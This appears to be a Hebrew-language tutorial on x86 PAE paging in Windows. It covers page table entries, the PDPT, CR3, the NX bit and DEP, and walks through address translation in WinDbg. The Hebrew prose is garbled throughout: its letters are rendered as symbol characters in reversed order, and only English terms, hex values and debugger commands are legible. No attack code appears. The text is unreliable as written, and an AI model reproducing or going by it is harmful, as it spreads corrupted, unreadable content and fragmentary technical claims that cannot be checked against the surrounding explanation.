PTE  ,ˢˬˠˣˡ˪) ˡ˥˞ ˨˧˪ˢ˸ˬ ˶˸ˣ˧ ˷ˬ˷ˬ ˶ˬˣ˪˩ ,˧˪˟ˣ˪ˠ ˡˣˬ˰ ˞ˣˢ ˫ˠ˶˸˪ ˶ˤˣ˰DLL- ˸ˣ˰ˬ˷ˬ .(˫˧

ˢ ˸˞ ˭˩ˡ˰˪ ˨˶ˣ˴ ˭˧˞˷ ˨˩ ,ˢˤˢ ˧ˣ˲˧ˬ˟ ˫˧˷ˬ˸˷ˬ ˫˧˲˯ˣˮ ˫˧˩˧˪ˢ˸˷ ˞˧ˢ ˶˟ˡˢ-TLB )Translation 

Lookaside Buffer( ˢ ˸˰˟-Context Switch  ˪˰ ˡˣ˰ ˟˧˥˶ˮ .˫˧˩˧˪ˢ˸ˢ ˭˧˟TLB .˨˷ˬˢ˟ 

ˢ ˞ˣˢ ˣ˟ ˣˮ˥˟ˢ ˞˪˷ ˪ˠˡ˷ ˭˧˧˴ˮ-NX-Bit  ˞ˣˢ ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˫˞ ˰˟ˣ˵˷ ,˫˯˶ˣ˲ˬˢExecutable  ,˞˪ ˣ˞

˪ ˧˸˶ˬ˥ˢ ˯˧˯˟ˢ ˸˞ ˢˣˣˢˬˣ-DEP )Data Execution Prevention ˶˷˞ ˸ˣ˩˶˰ˬ˟˷ ,˞˧ˢ ˢ˟˧˯ˢ .(

 ,ˣˮˠ˴ˢ˷ ˧ˣ˲˧ˬˢ ˸˦˧˷ ˪˰ ˸ˣ˯˯˟˸ˬ˪˩  ˫ˠ ˫ˢ ˭ˣ˶˩˧ˤˢ ˧ˡˣˬ˰Executable ˢˮ˧˥˟ˬ ˡˣ˞ˬ ˶ˣˬ˥ ˶˟ˡ ,

.˸˧˸˥˦˟˞ 

 ,˫˸ˮ˥˟ˢ ˧˞ˡˣˣ˷ ˧˲˩PDEs x-PTEs  ˢˮ˟ˬ ˣ˸ˣ˞˟ ˸˷ˬ˸˷ˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˭˩˞ˣ ,ˢˤ˪ ˢˤ ˡˣ˞ˬ ˫˧ˬˣˡ

 ˫˸ˣ˞ ˶˞˸˪ ˸ˮˬ ˪˰- nt!_MMPTE:ˢˮ˟ˬˢ ˸˞ ˭˥˟ˮ . 

 

 ˞ˣˢ ˢˮ˟ˬˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩Union  ˫˧˶˞˸ˬ ˶˷˞ ˫˧ˮˣ˷ ˫˧ˮ˟ˬ ˢ˟˶ˢ ˪˷PTEs  ˣ˪˞ .˫˧˧˶˷˲˞

 ˫ˢ ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ˷_MMPTE_SOFTWAREˢ ˫ˢ˟) ˫˧˧˸ˮ˩˸ ˭ˣ˶˩˧ˤ ˧ˡˣˬ˰ ˶ˣ˞˧˸˪ ˷ˬ˷ˬ ˶˷˞ ,-Valid 

bit ˣ ,(˧ˣ˟˩-_MMPTE_HARDWARE ˸˞ ˭˥˟ˮ .˫˧˧˸˶ˬˣ˥ ˭ˣ˶˩˧ˤ ˧ˡˣˬ˰ ˶ˣ˞˧˸˪ ˷ˬ˷ˬ ˶˷˞ ,

_MMPTE_HARDWARE: 

 

 ˫˞ˣ˸ ˞˪ ˢˮ˟ˬˢ˷ ˟˪ ˣˬ˧˷˧ ˭˧˰ˢ ˧ˡ˥ .˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ˟ ˫˧˶˟˧˞ ˶ˣ˵˥˪ ˣˮ˪ ˶ˣˤ˰˧ ˢˤ ˢˮ˟ˬ

 ˸˥˸ ˧ˣ˲˧ˬ ˶˟˧˞ ˶˞˸ˬ ˢˮ˟ˬˢ˷ ˞˧ˢ ˢ˟˧˯ˢ ,ˣ˪ ˣˮ˵˲˧˯˷ ˶ˣ˞˧˸ˢ ˸˞ ˧˶ˬˠ˪PAE x86 ˱˧˰˯˟ ˵ˬ˰˸ˮ ˣ˟ ,

.˞˟ˢ 

 ˫˧˦˧˟ˢ ˸ˬ˶˟ ˰ˡ˧ˬ˟ ˭˧˧ˮ˰˸ˮ ˫˧ˬ˰˲ ˢ˟˶ˢ ,˸ˣ˟ˣ˸˩ ˫ˣˠ˶˸ˣ ˭ˣ˶˩˧ˤ ˫˰ ˫˧˵˯˰˸ˬ˷˩ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩- 

 ˢˡˣ˵˲ˢ .˰ˡ˧ˬˢ ˪˷ ˧˶˞ˮ˧˟ˢ ˠˣ˴˧˧˟ ˶ˬˣ˪˩.formats ˟-WinDbg ˫˧˦ˬ˶ˣ˲ ˪˪˷˟ ˰ˡ˧ˬ ˣˮ˪ ˢˠ˧˴ˬ ˶˷˞ ,
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˪ ˸ˮˬ ˪˰ ˢ˟ ˶ˤ˰˧ˮ .˨˧˪ˢ˸˟ ˡˣ˞ˬ ˣˮ˪ ˶ˣˤ˰˪ ˪˩ˣ˸ ,(ˡˣ˰ˣ ˧˪˦˵ˣ˞ ,˧˪ˬ˧˴ˡ ,˧˶˞ˮ˧˟) ˶ˣˤ˰˧ ˶˷˞ ˰ˡ˧ˬ ˳˪˥

 ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˫ˣˠ˶˸˟ ˣˮ˪0x7596381B: 

 

:˞˟ˢ ˰ˡ˧ˬˢ ˸˞ ˳˪˥˪ ˪˩ˣˮ ˧˶˞ˮ˧˟ˢ ˠˣ˴˧˧ˢˬ 

1. ˟ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞-PDE s-0x163. 

2. ˢ ˸˞ ˞˴ˬˮ˷ ˶˥˞˪-PFN ˷-PDE 0x163 ˢ ˸˞ ˞ˣ˴ˬ˪ ˨˶˦˴ˮ ,ˣ˧˪˞ ˯˥˧˧˸ˬ-PTE s-0x1D6 .ˣ˟ 

3. ˢ ˸˞ ˞˴ˬˮ˷ ˶˥˞˪-PFN ˢ˷-PTE ˪ ˨˶˦˴ˮ ,ˣ˧˪˞ ˯˥˧˧˸ˬ ˨˶˰ˢ ˸˞ ˣ˪ ˱˧˯ˣˢ0x81B. 

4.  ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˞ˣˢ ˪˟˵˸ˢ˷ ˨˶˰ˢ0x7596381B  ˣˮ˞ ˣ˟ ˨˧˪ˢ˸˟

.˫˧˞˴ˬˮ 

ˢ ˞˴ˬˮ ˭˩˧ˢ ˸˰ˡ˪ ˨˶˦˴ˮ ,˫ˣˠ˶˸ˢ ˸˞ ˰˴˟˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ˪˟˞ ,˰˴˟˸ˬ ˫ˣˠ˶˸ˢ ˡ˴˧˩ ˣˮ˟ˢ ˤ˞-Page 

Directory ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˵˵ˡˤ˧ ˡ˟˰ˬˢ .ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷-Page Directory  ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰

 ˸˟ˣ˸˩ˢ ,˫˧ˡˣˬ˰ ˶˲˯ˬ ˧ˮ˲˪ ˠ˴ˣˢ˷ ˫ˣˠ˶˸ˢ ˨˧˪ˢ˸ ˸˞ ˫˧ˠˡˬ ˶˷˞ ˫˧˷˶˸˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ .˫ˣˠ˶˸ˢ

ˢ ˪˷ ˸˧ˤ˧˲ˢ-Page Directory  ˶ˠˣ˞˟ ˸˞˴ˬˮCR3ˢ ˶ˣ˸˟ ˫ˠ ˰ˣˡ˧˷ ,-PDBR - Page Directory Base 

Register˟ ˫ˠ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ ,-_EPROCESS  ˸˥˸ ,˨˧˪ˢ˸ˢ ˸˞ ˠ˴˧˧ˬˢ

_EPROCESS.Pcb.DirectoryTableBase: 

 

 ˸˰˟context-switch˟ ˞˴ˬˮ˷ ˨˶˰ˢ ,-DirectoryTableBase ˟ ˟˴ˣˬ ,˫˧˶˟ˣ˰ ˣˮ˞ ˣ˧˪˞ ˨˧˪ˢ˸ˢ ˪˷-CR3 .

˟ ˸˞˴ˬˮ˷ ˸˟ˣ˸˩ˢ ˪˷ ˭ˣ˸˥˸ˢ ˸˧˟ˢ ˯ˣ˲˧˞ ˧ˡ˧ ˪˰ ˸ˮ˸˧ˮ ˧ˤ˧˲ˢ ˡˣˬ˰ˢ ˸˞˧˴ˬ˷ ˵˶ ˶˧˰ˮ-CR3 ˶ˠˣ˞ˢ .

CR3 ˬ ˵˶ ˷˧ˠˮ-Ring-0. 

 ˪˷ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ˟ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˫ˣˠ˶˸ ˶˞˸ˬ ˣˮˠ˴ˢ˷ ˨˧˪ˢ˸ˢ˷ ˸ˣ˶ˬ˪32-bit ˟ˣ˶ ˪˰ˣ˲˟ ,

 ˸ˣˡˣ˵˲ ˱˯ˣ˞˟ ˫˧˩ˬˣ˸˷ ˫˧ˡ˟˰ˬˢ32-bit  ˢ˞˶ˮ˷ ˧˲˩ ,˦˰ˬ˟ ˢˮˣ˷ ˢ˶ˣ˴˟ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˫˧ˬˠ˶˸ˬ

.˞˟ˢ ˱˧˰˯˟ 
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x86 PAE Memory Mnagement 

-˟Two-Level Page Table  ˫˧˪ˣ˩˧ ˫˧˩˧˪ˢ˸ ,˫ˡˣ˵ˢ ˱˧˰˯˟ ˣˮˠ˴ˢ˷ ˸˷ˠ˪˪ ˵˶-4GB  ˪˷ ˫˧ˮˣ˷˞˶ˢ

 ˣ˲ˣˬ˧ ˫˪ˣ˩ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ,˪˧˟˵ˬ˟ ˫˧˴˶˷ ˫˧˩˧˪ˢ˸ ˶˲˯ˬ ˣˮ˪ ˷˧ˣ ˢˡ˧ˬ˟ ,˨˩ˬ ˢ˞˴ˣ˸˩ .˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ

 ˫˸ˣ˞˪4GB  ˪˷RAM ˪ˣ)-Pagefile  ˡˣ˰ ˱˧˯ˣˢ˪ ˢ˴˶ˮ ˫˞ .(˨˶ˣ˴ˢ ˸ˡ˧ˬ˟RAM  ˪˩ˣˮ ˞˪ ,ˣˮ˪˷ ˟˷˥ˬ˪

ˣˣ˧˩ˬ ˫˸ˣ˞ ˪˴ˮ˪ ˸˶ˤ˰˟ ˢ˧˪˞ ˸ˣ˲ˬ˪ ˭˸˧ˮ˷ ˶˸ˣ˧˟ ˢˢˣ˟ˠˢ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ˷ ˭PTE  ˪˷32-bit  ˞˧ˢ

0xFFFFFFFF. 

 ˸ˮ˷˟1995 ˡ˟˰ˬˢ ˞˴˧˷ ˶˥˞˪ ˶ˣ˷˰ ,i386 ,Intel ˢ ˸˞ ˢ˞˧˴ˣˬ-Penitum Pro -  ˡ˟˰ˬ32-bit  ˪ˣ˩˧ ˶˷˞

 ˪˷ ˧ˤ˧˲ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ ˪˴ˮ˪36-bit ˸˶ˤ˰˟ ,PAE - Physical Address Extension ,˶˸ˣ˧˟ ˸˧˪˪˩ˢ ˢˬ˶˟ .

PAE ˬ ˶˸ˣ˧ ˪˷ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˪˴ˮ˪ ˡ˟˰ˬ˪ ˶˷˲˞ˬ-32-bit ˸ˣ˧ˤ˧˲ ˸ˣ˟ˣ˸˩˪ ˸˷ˠ˪ ˫˧˩˧˪ˢ˸˪ ˶˷˲˞ˬ ˨˩ˣ ,

ˬ ˸ˣˢˣ˟ˠ-4GB ˫˧˷˧ˠˮ ˢˮˣ˩ˬ˪ˣ ˢˡ˧ˬ˟ ,˨˩ .8GB  ˪˷RAM ˨ˬˣ˸ ˡ˟˰ˬˢˣ ,PAE x)-PAE  ˨˧˪ˢ˸ ,(˪˰˲ˣˬ

 ˥ˣˣ˦˟ ˸ˣ˧ˤ˧˲ˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˪˴ˮ˪ ˪ˣ˩˧ ˢˮˣ˩ˬ˟ ˡ˥˞0-4GB˪ˢ˸ˣ , ˸ˣ˧ˤ˧˲ˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˪˴ˮ˪ ˪ˣ˩˧ ˶˥˞ ˨˧

 ˥ˣˣ˦˟4-8GB ˪˟ˠˣ˧ ˭˧˧ˡ˰ ˨˧˪ˢ˸ ˪˩˷ ˭˟ˣˬ˩ .ˢˮˣ˩ˬ˪ ˷˧ˠˮˢ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˪˷ ˶˸ˣ˧ ˟ˣ˦ ˪ˣ˴˧ˮ ˰˴˟˸˧ ˨˩ˣ ,

 ˪˷ ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ˟32-bit ˧ˡ˟˰ˬ˟ ˶˟ˣˡˬ˷ ˭ˣˣ˧˩ˬ ,32-bit. 

 ˫˞ ˵ˣˡ˟˪ ˸ˮˬ ˪˰PAE  ˶ˠˣ˞˟ ˶ˤ˰˧ˮ ,˪˰˲ˣˬCR4˩) ˧˷˧ˬ˥ˢ ˦˧˟ˢ ˫˞ .ˬ ˢ˪˧˥˸ˬ ˢ˶˧˲˯ˢ˷-0˟ (-CR4 

˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ ,˵˪ˣˡ-PAE  ˸˶ˤ˰˟ ˸˞ˤ ˢ˞˶ˮ .˪˰˲ˣˬWinDbg: 

 

 ˶˷˞˩PAE ˬ ˪˲˩ˣˬ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ˟ ˶˟˧˞ ˪˩ ˪ˡˣˠ ,˪˰˲ˣˬ-4 ˪ ˫˧˸˟-8  ˢ˷˧ˠ ˶˷˲˞˪ ˸ˮˬ ˪˰ ,˫˧˸˟

 ˡ˰ ˪˷ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ˪ ˸˧˪˞˧˴ˮ˦ˣ˲2^64 ˟ ˪˟ˠˣˬ ˭ˣ˶˩˧ˤˢ ˪˰ˣ˲˟)-2^36 ˶ˬˣ˪˩ ,64GB  .(˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˪˷

 ˧˴˥˟ ˢˮ˦˵ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ˟ ˫˧˶˟˧˞ˢ ˸ˣˬ˩ ˫ˠ ,˨˩ˬ ˢ˞˴ˣ˸˩- ˬ-1024 ˪ ˫˧˶˟˧˞-512  ˸ˮˬ ˪˰ ,˫˧˶˟˧˞

) ˡ˥˞ ˭ˣ˶˩˧ˤ ˡˣˬ˰˟ ˢˮ˟ˬ ˪˩ ˪˰ ˶ˣˬ˷˪512*8B = 4KB ˪˷ ˪ˡˣˠˢ˷ ˨˩˪ ˫˶ˣˠ ˭ˣ˶˥˞ˢ ˧ˣˮ˧˷ˢ .(Large 

Page  ˫˰PAE ˬ ,˧˴˥˟ ˭˦˵-4MB ˪-2MB ˪˩ ˸˰˩˷ ˭ˣˣ˧˩ˬ ,PDE ˵˶ ˢ˲ˬˬ  ˡ˰2MB  ˪˩ ˧˩)Page Table 

 ˡ˰ ˵˶ ˸ˣ˲ˬ˪ ˪ˣ˩˧2MBˢ ˸˰˩˷ ˟˪ ˫˧˷ˮ ,˭˩ ˣˬ˩ .(-PD  ˡ˰ ˵˶ ˸ˣ˲ˬ˪ ˪ˣ˩˧1GB  ˣˮ˥ˮ˞˷ ˡˣ˰˟ ,˭ˣ˶˩˧ˤ ˪˷

 ˡ˰ ˸ˣ˲ˬ˪ ˪ˠˣ˯ˬ ˶˷˞ ˭ˣ˶˸˲ ˵˲˯˪ ˫˧˟˧˧˥4GB .˨˧˪ˢ˸ ˪˩ ˶ˣ˟˰ 

˪ ˵˵ˡˤˮ ˞˪ ˶˟˩ ,˧ˣˮ˧˷ˢ ˸ˣ˟˵˰˟-10 ˯˵ˡˮ˧˞ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢˬ ˫˧˦˧˟ ˢ ˪˷-

PDE sx-PTE˟ ˵˲˸˯ˢ˪ ˪˩ˣˮˣ ,-9 )2^9 = 512 ˫˰ ˣˮ˸ˣ˞ ˶˧˸ˣˬ ˢˤˢ ˧ˣˮ˧˷ˢ˷ ˟˪ ˫˧˷ˮ .(2  ˫˧˦˧˟ˢ .˫˧˦˧˟

ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˣ˷ˬ˷˧ˣ ,˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˪˷ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ ˣ˧ˢ˧ ˣ˪˪ˢ-Entry  ˧˦ˮˣˣ˪˶ˢ

 ˠ˧˴ˮ˷ ˷ˡ˥ ˧ˣ˲˧ˬ ˢˮ˟ˬ˟- s-PDPT. 

PDPT ˣ˞ ,Page Directory Pointer Tableˢ ˭ˣ˶˸˲ ˸˞ ˨˲ˣˢˣ ˧ˣ˲˧ˬ˪ ˧˷˧˪˷ ˟˪˷ ˱˧˯ˣˬ ˶˷˞ ˢˮ˟ˬ ˞ˣˢ ,-

Paging ˪ ˣˮ˪˷-Three-Level Page Tableˢ ˪˷ ˷ˡ˥ˢ ˪ˡˣˠ˟ ,˶ˣˬ˞˩ .-PD ,PD  ˡ˰ ˸ˣ˲ˬ˪ ˪ˣ˩˧ ˡ˥˞1GB 
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 ˠ˧˴ˢ˪ ˞ˣˢ ˭ˣ˶˸˲ˢ ,˭˩˪ .˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˪˷PML ˢ ˪˰ˬ ,˧˷˧˪˷-PD ˢˤ˧˞˪ ˢ˶ˣˬ˷ ,PD ˪ .˯˥˧˧˸ˢ˪-PML 

˞˩ ,˫˧˞˶ˣ˵ ˢˤˢ ,˶ˣˬPDPT ˞˶˵ˮ ˣ˟ ˶˟˧˞ ˪˩ˣ ,PDPTE  ˣ˞PPE  ˫ˠ ˸ˣ˵ˣ˥˶ ˫˧˸˧˰˪ˣ)PDP  ˣ˞PDPE ˫ˠ .(

 ˞ˣˢ ˶˟˧˞ ˪˩ ˪ˡˣˠ ,˭˞˩8 ) ˫˧˸˟64 ˢ ˸˞ ˪˧˩ˬ ˞ˣˢˣ ,(˦˧˟-PFN ˢ ˪˷-PD  ˶˞˷ ˸˞ ˫ˠ˶˸˪ ˪˩ˣˮ ˣ˸˶ˤ˰˟

ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ .˸˟ˣ˸˩ˢ-PPE ˟ ˶ˤ˰˧ˮ ,ˣˮ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩˪ ˫˧˞˸ˬˢ-2 ˷ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ ˪

ˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˶ˣ˸˟ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ-PPE ˟-PDPT  ˣˮ˪ ˣ˶˸ˣˮ ,˶ˣ˩ˤ˩)2  ˸˟ˣ˸˩˟ ˫˧˧˷˲ˣ˥ ˫˧˦˧˟

˪ ˫˧˵ˡˮ˧˞ˢ ˸˞ ˣˮ˶˴˧˵˷ ˭ˣˣ˧˩ˬ ˸˧˪˞ˣ˦˶˧ˣˢ-PDE x-PTE ˬ-10 ˪ ˫˧˦˧˟-9  ˷ˬ˸˷ˢ˪ ˪˩ˣˮ˷ ˭ˣˣ˧˩ˬ .(˫˧˦˧˟

˟ ˵˶-2 ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˫˧˦˧˟-PPE ˵˶ ˫˧ˬ˧˧˵ ,4 PPE-˟ ˫˧-PDPT  ˸ˣ˩˶˰ˬ ˸˥˸32-bit  ˫˰PAE ,

ˢ ˨˞-PDPT  ˪˩˷ ˭ˣˣ˧˩ˬ .(ˡˣˬ˰ˢ ˸˪˧˥˸˟ ˪˧˥˸ˬˣ) ˡ˶˲ˮ ˭ˣ˶˩˧ˤ ˡˣˬ˰˟ ˢ˴˵ˣˬ ˭˧˧ˡ˰PD  ˡ˰ ˢ˲ˬˬ1GB 

 ,˭ˣ˶˩˧ˤ ˪˷4 PPEs  ˡ˰ ˸ˣ˲ˬ˪ ˣ˪˩ˣ˧4GB  ˭ˣ˶˩˧ˤ ˪˷- ˟ ˨˧˪ˢ˸˪ ˵˲˯˪ ˫˧˷˶ˡˮ ˣˮ˞˷ ˸ˣˬ˩ˢ ˵ˣ˧ˡ˟-32-bit. 

ˬ ˥˵˪ˮ˷ ,˞˟ˢ ˫˧˷˶˸ˢ-Microsoft˟ˣ˸˩ ˫ˣˠ˶˸ ˰˴˟˸ˬ ˡ˴˧˩ ˶˞˸ˬ , ˫˰ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣPAE x86: 

 

ˢ ,˸˰˩˷ ˭ˣˣ˧˩ˬ-Page-Table Level ˢ ˞ˣˢ ˶˸ˣ˧˟ ˢˣ˟ˠˢ-PDPT ˸˞ ˭˩ˡ˰˪ ˨˶˦˴ˮ ,

_EPROCESS.Pcb.DirectoryTableBase  ˸˞ˣCR3ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞ ˣ˪˧˩˧˷ ˨˩ ,-PDPT. 

 ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˢˮ˟ˬ ˧ˣˮ˧˷ ˧˟ˠ˪ ˶˧˰ˮ-  ˢˮ˟ˬ˟ ˣˮˡ ˫ˡˣ˵ˢ ˱˧˰˯˟ ,˶ˣ˩ˤ˩PTE/PDE˰˯˟ . ˧˩ ˣˮ˧˧˴ ,ˢˤ ˱˧

 ˸˥˸PAE˪ ˢˮ˸˷ˢ ˣ˪˪ˢ ˫˧˶˟˧˞ˢ ˪ˡˣˠ ,-8  ˷ˡ˥ ˧ˣ˲˧ˬ ˶˟˧˞ ˠ˴ˣˢ ˭˩ˣ ,˫˧˸˟- PPE ˫˧ˮ˟ˬˢ ,˪˰ˣ˲˟ .

:˫ˢ ˫˧˧˶˵˧˰ˢ ˫˧˧ˣˮ˧˷ˢ .˷ˣˬ˧˷˟ ˫˧˞˴ˬˮ ˞˪ˣ ˫˧˶ˣˬ˷ ˫ˢ ˣ˲˯ˣˢ˷ ˫˧˸˟ˢ ˟ˣ˶ˣ ,˫˧ˢˤ ˦˰ˬ˩ 

1.  ˵˶ ˫ˡˣ˵ ˫˞20 ˩ ˣ˷ˬ˧˷ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ-PFN ˦˧˟ ˸˰˩ ,12  ˦˧˟ ˡ˰38 ˩ ˫˧ˬ˷ˬ-PFN ˢˬ ,

 ˪˷ ˧ˤ˧˲ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ˪ ˢ˷˧ˠ ˶˷˲˞ˬ˷36 .˫˧˸˟ 

2. ˢ) ˭ˣ˧˪˰ˢ ˦˧˟ˢ-63ˢ ˞ˣˢ (-NX-Bit  ˧ˡ˟˰ˬ˟)Intel ˫˷ˢ ˸˥˸ ˵ˣˣ˷ˬ ˦˧˟ˢ ,XD Bit - Execute 

Disableˢ ˣ˧˪˞ ˡˣˬ˰˟ ˞˴ˬˮ˷ ˰ˡ˧ˬ˪ ˯˥˧˧˸ˢ˪ ˭˸˧ˮ ˞˪ ,˵˪ˣˡ ˞ˣˢ ˫˞ .(-Entry  ˶ˬˣ˪˩) ˡˣ˵˩ ˯˥˧˧˸ˬ
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˶˟ ˞˪ ˞ˣˢ-˭˸˧ˮ ,˧ˣ˟˩ ˞ˣˢ ˫˞ .(ˢ˴˶ˢ ˪ ˧˸˶ˬ˥ˢ ˯˧˯˟ˢ ˸˞ ˢˣˣˢˬ ˢˤ ˦˧˟ .ˡˣˬ˰ˢˬ ˡˣ˵ ˳˧˶ˢ˪-

DEP˟ ˠ˴ˣ˧ˬ ˢˤˢ ˦˧˟ˢ .-WinDbg  ˸ˣ˞ˢ ˸˶ˤ˰˟E. 

.˫ˡˣ˵ˢ ˱˧˰˯˟ ˣˮ˶˞˧˸˷ ˢˮ˟ˬ˪ ˢˢˤ ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˢˮ˟ˬ ,ˣ˪˞ ˫˧˧ˣˮ˧˷ ˡ˟˪ˬ 

 ˸˶ˤ˰˟ ˫˧ˠˡˮWinDbg  ˸˥˸ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˪˷ ˫ˣˠ˶˸PAE x86 ˸˟ˣ˸˩˟ ˶˥˟ˮ .0x82854050. 

 ˸˞ ˞˴ˬˮ ,˸˧˷˞˶ˢ ˪˷ ˸˟ˣ˸˩ˢ-PDPT: 

 

 ˪˷ ˭ˣ˸˥˸ˢ ˸˧˟ˢ ˸˞ ˯˲˞˪ ˷˧ ,˶ˣ˩ˤ˩CR3 ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ ˨˞ ,- ˢ ,˭˩˪ .˯˲ˣ˞ˬ ˶˟˩ ˞ˣˢ-PDPT  ˞˴ˬˮ

 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟0x7E8935A0. 

˟ ˶ˤ˰˧ˮ ,˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢˬ ˫˧˯˵ˡˮ˧˞ˢ ˸˞ ˞ˣ˴ˬ˪ ˞ˣˢ ˞˟ˢ ˟˪˷ˢ-.formats: 

 

 ˞ˣˢ ˪ˣ˥˩ˢ ˶ˣˤ˞ˢ :˫˧ˮˬˣ˯ˬˢ ˫˧˶ˣˤ˞˪ ˟˪ ˫˧˷ˮ˟ ˯˵ˡˮ˧˞ˢ-PDPT ˵ˣ˶˧ˢ ,- ˟-PD ˟ˣˢ˴ˢ ,- ˟-PT  ˫ˣˡ˞ˢˣ

- .˧ˤ˧˲ˢ ˡˣˬ˰˟ 

˟ ˟ˣ˷ ˶ˤ˰˧ˮ ,˫˸˧˞ ˡˣ˟˰˪ ˶˸ˣ˧ ˥ˣˮ˷ ˫˧˩˶˰˪ ˣ˪˪ˢ ˫˧˧˶˞ˮ˧˟ˢ ˫˧˩˶˰ˢ ˸˞ ˶˧ˬˢ˪ ˸ˮˬ ˪˰-WinDbg: 

 

:˞˟ˢ ˭˲ˣ˞˟ ˸˧ˤ˧˲ ˸˟ˣ˸˩˪ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˫ˠ˶˸˪ ˪˩ˣˮ˷ ˣˮˡˬ˪ ,˶ˬˣ˪˩ 

1. ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ-PD ˟ ˶˞ˣ˸ˬ˷-PPE  ˯˵ˡˮ˧˞˟2. 

2. ˟-PD ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ,˪"ˮˢ-PT ˟ ˶˞ˣ˸ˬ˷-PDE  ˯˵ˡˮ˧˞˟0x14. 

3. ˟-PT ˟ ˶˞ˣ˸ˬ˷ ˡˣˬ˰ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ,˪"ˮˢ-PTE  ˯˵ˡˮ˧˞˟0x54. 

4.  ˣˮ˞˴ˬ˷ ˸˟ˣ˸˩˪ ˱˧˯ˣˮ0x50. 
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ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞˧˴ˬˬ ˪˧˥˸ˮ-Page Directory  ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˠ˧˴ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˧˲˩ .˧˦ˮˣˣ˪˶ˢ

 ˸ˣˡˣ˵˲ˢ ˸˥˲˷ˬ ˸˶ˤ˰˟dq, dc, da  ˢˬˣˡ ˸ˣˡˣ˵˲ ˸˥˲˷ˬ ˸˶ˤ˰˟ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˠ˧˴ˢ˪ ˪˩ˣˮ ,'ˣ˩ˣ- 

!dq, !dc, !da ˟ ˶ˤ˰˧ˮ .'ˣ˩ˣ-!dq ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞˧˴ˬ˪-PD: 

 

-sPFN ˢ ˪˷-PD  ˞ˣˢ0x6F025ˢ˷ ˭˞˩ˬ ,-PD  ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟ ˞˴ˬˮ ˧˦ˮˣˣ˪˶ˢ0x6F025000 ˞˟ˢ ˟˪˷ˢ .

